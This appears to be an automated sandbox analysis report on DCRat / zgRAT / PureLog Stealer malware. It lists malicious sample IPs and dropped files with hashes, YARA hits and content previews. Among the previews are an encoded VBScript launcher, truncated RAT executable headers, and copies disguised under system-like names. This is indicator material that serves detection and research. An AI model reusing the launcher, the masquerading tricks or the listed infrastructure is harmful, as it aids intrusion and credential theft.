⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
THEFIRST-ASRU	7GTGpZi6oi.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	212.109.198.52
	W2HGvAuNRe.exe	Get hash	malicious	DCRat	Browse	212.109.193.246
	IDTVfeIKcu.elf	Get hash	malicious	Unknown	Browse	62.109.18.37
	4DU7NWnERk.elf	Get hash	malicious	Mirai	Browse	62.109.30.188
	T3J0MOgmFq.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.120.241.126
	4spS4Frgbl.exe	Get hash	malicious	Raccoon Stealer v2	Browse	82.146.45.177
	J8igWzSKUw.exe	Get hash	malicious	DCRat	Browse	185.246.67.26
	kkNU9VcmMS.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	62.109.7.175
	Y3TBJNSVKa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	62.109.11.10
	zgrat.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	62.109.13.250

Process:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	89
Entropy (8bit):	5.168949582384398
Encrypted:	false
SSDEEP:	3:J0gj0GCNE2zRohKoZf4ACnjpmtAn:J0mYK2VohKoN4uA
MD5:	216298D95D06E0B5013605029DFECE0D
SHA1:	F363F7F052467CB924C74D26F7DA50C000FCEA51
SHA-256:	6EDF71D7FFFE5E503F9F357D161EF0B903587994BD8058A1A56CA56D6B55A074
SHA-512:	B0D2980F8794079846E3C75F3250CDD7006BAF361B0903F953711E766116D8E81AB21B460CDE63FDB4F332112697E65C988EF624644F5A8B7FA48C83476CC029
Malicious:	false
Preview:	%AVTXjnQR%%EFQHQhu%..%GFehHdbApekxLeq%"C:\MsComponentSvc/hyperServer.exe"%hZBFgylCTmCPRj%

C:\MsComponentSvc\hyperServer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3674624
Entropy (8bit):	7.817994023503708
Encrypted:	false
SSDEEP:	98304:k6aGC/A2HqiWfsfYyNVl7GElhj4RCM8U:kML2HqBsfRNVlyEYRC
MD5:	DF7F61CEDD325D4A957DC5E5D5B382FC
SHA1:	028CC5A397990D20D78CE7C7696A76CDCB54AAA7
SHA-256:	02DFA1D6C9F66DC0BA1659B87176D0CDE15C0F3E6791064A40FF7AEDBB427256
SHA-512:	6B3189BF8F02C3E8A6A299A2A853EC9E1BE0A1D30173FC4EEB13DEAD013F843989829A5871CDDB4C3BCA10D8D0762AFFADD5BF809D2DFE7B81C22D3295D97F8F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\MsComponentSvc\hyperServer.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\MsComponentSvc\hyperServer.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................8.........n(8.. ...@8...@.. ........................8...........@................................. (8.K....@8.p....................`8...................................................... ............... ..H............text...t.8.. ....8................. ..`.rsrc...p....@8.......8.............@....reloc.......`8.......8.............@..B................P(8.....H.......4...........i...0...WJ-..'8......................................0..........(.... ........8........E...........N.......8....(.... ....~t...{....9....& ....8....(.... ....~t...{....9....& ....8....(.... ....~t...{....:....& ....8y......0.......... ........8........E................{...R...8....r...ps....z*....~....(3...~....(7... ....?.... ....~t...{....9....& ....8....~....:.... ....~t...{....:w...& ....8l......... ....~t...{g...:R...& ....8G...~....(+... .... ....

C:\MsComponentSvc\iCCQMR7GwXROBsRyIwP9QWJjFoH56nLwwSlxVmAvIip.vbe

Download File

Process:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	198
Entropy (8bit):	5.723229378638051
Encrypted:	false
SSDEEP:	6:GjkgwqK+NkLzWbH9WF08nZNDd3RL1wQJRwhcf1:GiMCzWL74d3XBJ6hct
MD5:	2B578B789B20BDD5365C751E3405B13C
SHA1:	554339D0BFB46DDA840FD4A038724A6241E48C3A
SHA-256:	45DABE68C7C0E7A933BB678C3B666DF17D1AC8DA9AA2DB3C313CC47A04B0F06D
SHA-512:	297FD8024635622EF394EA0B2DB63BCF1F644A3E095B0F15D2FE03714032853B77AFD825D7B7CACA2FFBB2E24DA77F4E50667094AF8B89A8A2BDEEDED4203CB9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^rQAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vT!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~J;lJHd;WswW.+.O?7m&zt(L.ocR(CYr~PZS~0mVk+WTYAAA==^#~@.

C:\Program Files\Internet Explorer\images\27594514469294

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	ASCII text, with very long lines (845), with no line terminators
Category:	dropped
Size (bytes):	845
Entropy (8bit):	5.913918674466022
Encrypted:	false
SSDEEP:	24:cg3Ee+73W4C2sm+iqx+QSKKKccMK/wuajhi:cjzDC2d+i6qKckwZE
MD5:	555222FB84EBDD522EC0B8BB6A1A13FC
SHA1:	5B6AAE83D09835103F82738B5640C127FDFBF75D
SHA-256:	3694D0020EDA5E84198F6706A4853A55182AADC8F03C48676440B2BA6FD4D5FA
SHA-512:	B350E29508ADAC5E97028F385E2EDA2F3BD945DE8367ABA313BA904407BB549E469334805C863654D59FD75B71603DC843DA53DC38C2845FE96C109310D9BD35
Malicious:	false
Preview:	V1NDngebMbQhZRodGbby5tH8MDxzt58TLb3wRD6XGhU1k7VLwwqtFz4luO0ksosQc6V8X2MCeDsYYPYOrlD6PPOWgRCCNWpbzEYomXx4koOBGgNezl2HkvBNr9bGzJzIYQjU1umUyIVkBNPAEhMldi0DCL6n5rEbyFn072nF8hScZaMetbBR6No0ZfSpy9YGE4w5kZDM4Hm5PYom9b3eqwelbwabk7R9JMXfoR4UXyWzktlA1pqWF3ZRZLex9lm7znwCBJ7sgjH2apArLZj4Q44PwGFdwHUvLZ976i9sr8zfwh1uKwljCsq4sgP4De5ZOVqApCvmZ0MSFYdPPUSAfutdsFPaSEoNCaQa00FIB9KLgYzTCAptM43emNSjxUTUM9QoICYYOJ9gkh6UP5XSZ4AIgwynhgVqpz9hIKLAlQfC4X3EQ8U16B5R8IIVNv1sxT1uiZLEtXqIZ7NI3uWiMdtn4rjAC0w0ZxOlgIf1wPIjUx1A49ccYSgUjN000LC3kzsmslmuPew6VKTG0iFCXTcHR4CTSoBkMP8fFPRTXsN3fj8Y3tARG9fRXkUyiSbkdLuGLyBkRvppFilr6nZioueNtrHe4duFQnaUz1NFsaAVUzLy8m15235tqgWeqhpxAkZcHR2EaT0OtJ34gTfRlzMWrrnSfsZKuMUuZsrruweiDr9hnc7WBXLKXDuankjr3pdhyIexmxhzVnTAsGoCvCJXAJWW8QEKNxpYObse7KuNzWzuturh5g61gFhowHzVtXmh85wRXKFkS5hnUmmNjhOq1y1I4EszUZecuSvy8aKubVili3UJflvLI6qKDoWTbPQ2aF3C0yPJX

C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3674624
Entropy (8bit):	7.817994023503708
Encrypted:	false
SSDEEP:	98304:k6aGC/A2HqiWfsfYyNVl7GElhj4RCM8U:kML2HqBsfRNVlyEYRC
MD5:	DF7F61CEDD325D4A957DC5E5D5B382FC
SHA1:	028CC5A397990D20D78CE7C7696A76CDCB54AAA7
SHA-256:	02DFA1D6C9F66DC0BA1659B87176D0CDE15C0F3E6791064A40FF7AEDBB427256
SHA-512:	6B3189BF8F02C3E8A6A299A2A853EC9E1BE0A1D30173FC4EEB13DEAD013F843989829A5871CDDB4C3BCA10D8D0762AFFADD5BF809D2DFE7B81C22D3295D97F8F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................8.........n(8.. ...@8...@.. ........................8...........@................................. (8.K....@8.p....................`8...................................................... ............... ..H............text...t.8.. ....8................. ..`.rsrc...p....@8.......8.............@....reloc.......`8.......8.............@..B................P(8.....H.......4...........i...0...WJ-..'8......................................0..........(.... ........8........E...........N.......8....(.... ....~t...{....9....& ....8....(.... ....~t...{....9....& ....8....(.... ....~t...{....:....& ....8y......0.......... ........8........E................{...R...8....r...ps....z*....~....(3...~....(7... ....?.... ....~t...{....9....& ....8....~....:.... ....~t...{....:w...& ....8l......... ....~t...{g...:R...& ....8G...~....(+... .... ....

C:\Program Files\Windows Defender\Offline\cmd.exe

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3674624
Entropy (8bit):	7.817994023503708
Encrypted:	false
SSDEEP:	98304:k6aGC/A2HqiWfsfYyNVl7GElhj4RCM8U:kML2HqBsfRNVlyEYRC
MD5:	DF7F61CEDD325D4A957DC5E5D5B382FC
SHA1:	028CC5A397990D20D78CE7C7696A76CDCB54AAA7
SHA-256:	02DFA1D6C9F66DC0BA1659B87176D0CDE15C0F3E6791064A40FF7AEDBB427256
SHA-512:	6B3189BF8F02C3E8A6A299A2A853EC9E1BE0A1D30173FC4EEB13DEAD013F843989829A5871CDDB4C3BCA10D8D0762AFFADD5BF809D2DFE7B81C22D3295D97F8F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Windows Defender\Offline\cmd.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows Defender\Offline\cmd.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................8.........n(8.. ...@8...@.. ........................8...........@................................. (8.K....@8.p....................`8...................................................... ............... ..H............text...t.8.. ....8................. ..`.rsrc...p....@8.......8.............@....reloc.......`8.......8.............@..B................P(8.....H.......4...........i...0...WJ-..'8......................................0..........(.... ........8........E...........N.......8....(.... ....~t...{....9....& ....8....(.... ....~t...{....9....& ....8....(.... ....~t...{....:....& ....8y......0.......... ........8........E................{...R...8....r...ps....z*....~....(3...~....(7... ....?.... ....~t...{....9....& ....8....~....:.... ....~t...{....:w...& ....8l......... ....~t...{g...:R...& ....8G...~....(+... .... ....

C:\Program Files\Windows Defender\Offline\ebf1f9fa8afd6d

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	ASCII text, with very long lines (877), with no line terminators
Category:	dropped
Size (bytes):	877
Entropy (8bit):	5.914074283346289
Encrypted:	false
SSDEEP:	24:y0Tg+TIGYmEiprMDSndH3ZgCqMGUnd4PTb8AAvN3mVIjF:y/BmEi9MDyznGUnyPqjZ
MD5:	BAE70DAFE68985C980ECC46A60FFCB1E
SHA1:	9719148BE15A5BB2D3BF26F497AEC2B3D3EB9CF5
SHA-256:	5120B0F0CD598CF3E4431B51B7E11AFD1758691640EBDBD652D61A92FE2E30E1
SHA-512:	9E841D406387FA4BC2D7D14897026CB0CD75BB3F0AA879DCBF5822EFC75033259746F2C0FD04906C76CD626633D41F7A8397F40CA4B322DA7A9753AB784A33C3
Malicious:	false
Preview:	8GKjY7oOyoJbeAym28U74R4xNL0MkVKZmDFBiATkUf5kBZ4PiDbVLs7qLXVNHcoddtzb4xE2ptmZWUvyRkng4zN3FZ0KoGd10bGSkcVv9jpcFhU1mg6gzIjog5Ve63NiQuj4NdOyP1gVJvyhE9iHK6Cr2cwoH0yGVHLU8anJSHQ7mOeuGxa7VGXTs1BvrjrZCa9CjdjoWZzCqEFo7BiTa1uPt2mHZ1bsa14MOcKnOvl6QVnnvWxpBX8LptSr1bPe7GmzK3ae04EoQy8YO8WCEwrC2tgeKcwwgH8Ksyd16SyGSU50v4d2FMZLZj6aW5UYISHIzypafeGv7ktixqtQ93rUrxvJ1CfB7a7AMwA6OCWlFoNy0YnqLEYOlxbCDgjd9FxhntVBpwB7hFODk6TdZyz3CsZYU83sd3mA0qLGClAYDbrfiYbGNFDKQ4e4T6qr3TendOM3vMaxyazlA306gweXzcu6LQxF4Sfu7DBUMiVBpPVzE33ZGuLHyGyBdQsfZV2f5Fo72fu8bdsjG41RWX8KHX60PA05z0mUXz48P6hl9MqUYO5jYaIBWsYhJxr2oyIl1YMQA3BazXK4rlcBERhZrk7obWzcPp6LEEdABoieYsL8hdzhVqxWQs3QahznDjKKa9zmIb9atCA9Y9H7gRGj1k4VLMkdy4ayhBihnMZ3qWnNr42aa1HwdlS0Eeb61gmylMbXajTT1N2f6qnRTJD6xoV5sscJvdCKuymfcfA0ix4Ptx3Y0JmscpB70gosGKiYLsvIEHzyJMY9tFM5yETl0TrEwop50RtXPfEBCuTsUxjQRBNuUt4C06h1AqVZc471cAuOAK2DulRDubwvb5lHXrhT7NAVZ4QazrxQR9tJ0

C:\Recovery\55b276f4edf653

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	ASCII text, with very long lines (301), with no line terminators
Category:	dropped
Size (bytes):	301
Entropy (8bit):	5.767272709107045
Encrypted:	false
SSDEEP:	6:h+kO3vbXt2t/WI6eHJn/J1iQ1sCbvAr8LbCJNZlDksB0btepmiw7Acn:hbOTUDNFBoQ1sCby8MNrDksKtwm71
MD5:	FED504D8BB229221A65040EBE823BDB5
SHA1:	A88B0093A9762C057D2058EDB911462F742E5E85
SHA-256:	5AD13312CB09850BC6D7AB3FC086FDF9DF8BCD0B57BF3539DAA2D0B2477E622E
SHA-512:	698E17523492DC8F2857E5847E6A3520725ECC791DD24DED748C801AAD8F473AE76B1F97448C98357B9F2A819103786FA0182C07E51E14CE18E4E332068EEE8E
Malicious:	false
Preview:	b0pvG0mU84uxKPrti2N3RYzWwpyAbKz6bOuYaabJ9Nk6S2CXPXqoipBCAS9bBm2yFyV6eTSHaE3Dx3E3nauEdLXvNrXIbAHXUw1ehG36FiNev7PGOFyl1yU3ajtw5Kpa7gtBCkWghy84739PcQ4WMfffb7D7WGA53xhPOOEnsRECzZ5hkdUoQSNbANjEhZKayDBKVuBOMQo5adpCCfX3wWpkjFOAoAGSGoOwYuLzbFc9oSAhhhCBCQobYalQfBjLJVywO3nRUhbq3p6QErdH8FQ09wX7J5TagQzSeNSn3urey

C:\Recovery\StartMenuExperienceHost.exe

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3674624
Entropy (8bit):	7.817994023503708
Encrypted:	false
SSDEEP:	98304:k6aGC/A2HqiWfsfYyNVl7GElhj4RCM8U:kML2HqBsfRNVlyEYRC
MD5:	DF7F61CEDD325D4A957DC5E5D5B382FC
SHA1:	028CC5A397990D20D78CE7C7696A76CDCB54AAA7
SHA-256:	02DFA1D6C9F66DC0BA1659B87176D0CDE15C0F3E6791064A40FF7AEDBB427256
SHA-512:	6B3189BF8F02C3E8A6A299A2A853EC9E1BE0A1D30173FC4EEB13DEAD013F843989829A5871CDDB4C3BCA10D8D0762AFFADD5BF809D2DFE7B81C22D3295D97F8F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\StartMenuExperienceHost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\StartMenuExperienceHost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................8.........n(8.. ...@8...@.. ........................8...........@................................. (8.K....@8.p....................`8...................................................... ............... ..H............text...t.8.. ....8................. ..`.rsrc...p....@8.......8.............@....reloc.......`8.......8.............@..B................P(8.....H.......4...........i...0...WJ-..'8......................................0..........(.... ........8........E...........N.......8....(.... ....~t...{....9....& ....8....(.... ....~t...{....9....& ....8....(.... ....~t...{....:....& ....8y......0.......... ........8........E................{...R...8....r...ps....z*....~....(3...~....(7... ....?.... ....~t...{....9....& ....8....~....:.... ....~t...{....:w...& ....8l......... ....~t...{g...:R...& ....8G...~....(+... .... ....

C:\Users\Default\Music\27594514469294

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	101
Entropy (8bit):	5.49461699292336
Encrypted:	false
SSDEEP:	3:vx/g9UlDJehkSWBsdwTnUl+/9jBq0ZNhhX0Zhn:eGde+SWAmRXqsNhhkfn
MD5:	A703771A43D21C42253D296CCA2389F3
SHA1:	D4295A700944ED6F61572036AD78BD07F35C1E68
SHA-256:	5CDE590149DA162AA18608E1DD263DF5E0746430353E6ED50BAC23D967A4FF57
SHA-512:	BBB692331AC3898650E2B75E3249A4BCD828E2B43B21C3034BD99C4A4434BEA1532426C5722F1AAF011DE93BBCF8161F73ED0EB09A4697BC004A2AD2A1A17EF2
Malicious:	false
Preview:	8xbfqIYOBKmznw0YzONXvBCOocytf2EDuMfa0INmSQxx531iVZsNAqU6vN1NTpsJFjFbQairAkFeOOTvlQYFJ0DD2ipnRATmhnrVx

C:\Users\Default\Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3674624
Entropy (8bit):	7.817994023503708
Encrypted:	false
SSDEEP:	98304:k6aGC/A2HqiWfsfYyNVl7GElhj4RCM8U:kML2HqBsfRNVlyEYRC
MD5:	DF7F61CEDD325D4A957DC5E5D5B382FC
SHA1:	028CC5A397990D20D78CE7C7696A76CDCB54AAA7
SHA-256:	02DFA1D6C9F66DC0BA1659B87176D0CDE15C0F3E6791064A40FF7AEDBB427256
SHA-512:	6B3189BF8F02C3E8A6A299A2A853EC9E1BE0A1D30173FC4EEB13DEAD013F843989829A5871CDDB4C3BCA10D8D0762AFFADD5BF809D2DFE7B81C22D3295D97F8F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................8.........n(8.. ...@8...@.. ........................8...........@................................. (8.K....@8.p....................`8...................................................... ............... ..H............text...t.8.. ....8................. ..`.rsrc...p....@8.......8.............@....reloc.......`8.......8.............@..B................P(8.....H.......4...........i...0...WJ-..'8......................................0..........(.... ........8........E...........N.......8....(.... ....~t...{....9....& ....8....(.... ....~t...{....9....& ....8....(.... ....~t...{....:....& ....8y......0.......... ........8........E................{...R...8....r...ps....z*....~....(3...~....(7... ....?.... ....~t...{....9....& ....8....~....:.... ....~t...{....:w...& ....8l......... ....~t...{g...:R...& ....8G...~....(+... .... ....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\cmd.exe.log

Download File

Process:	C:\Program Files\Windows Defender\Offline\cmd.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\hyperServer.exe.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1915
Entropy (8bit):	5.363869398054153
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIs0HKjJHVHmHKlT4vHNpv:iqbYqGSI6oPtzHeqKktwmj0qV1GqZ4vb
MD5:	0C47412B6C6EF6C70D4B96E4717A5D3B
SHA1:	666FCC7898B52264D8A144600D7A3B0B59E39D66
SHA-256:	0B3F6655476FA555F55859443DE496AF7279529D291EF9745C22C5C283B648F9
SHA-512:	4E51FCBCA176BF9C5175478C23AE01445F13D9AC93771C7F73782AF9D98E8544A82BBFB5D3AA6E2F3ECF1EFB59A8466EB763A30BD795EFE78EE46429B2BEAC6C
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\oZTcEkJaieSsRsrMRoYKmeAXH.exe.log

Download File

Process:	C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Temp\0oEa3IfJGl

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0tOtDmpwHS

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\17ScjoTwtQ

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
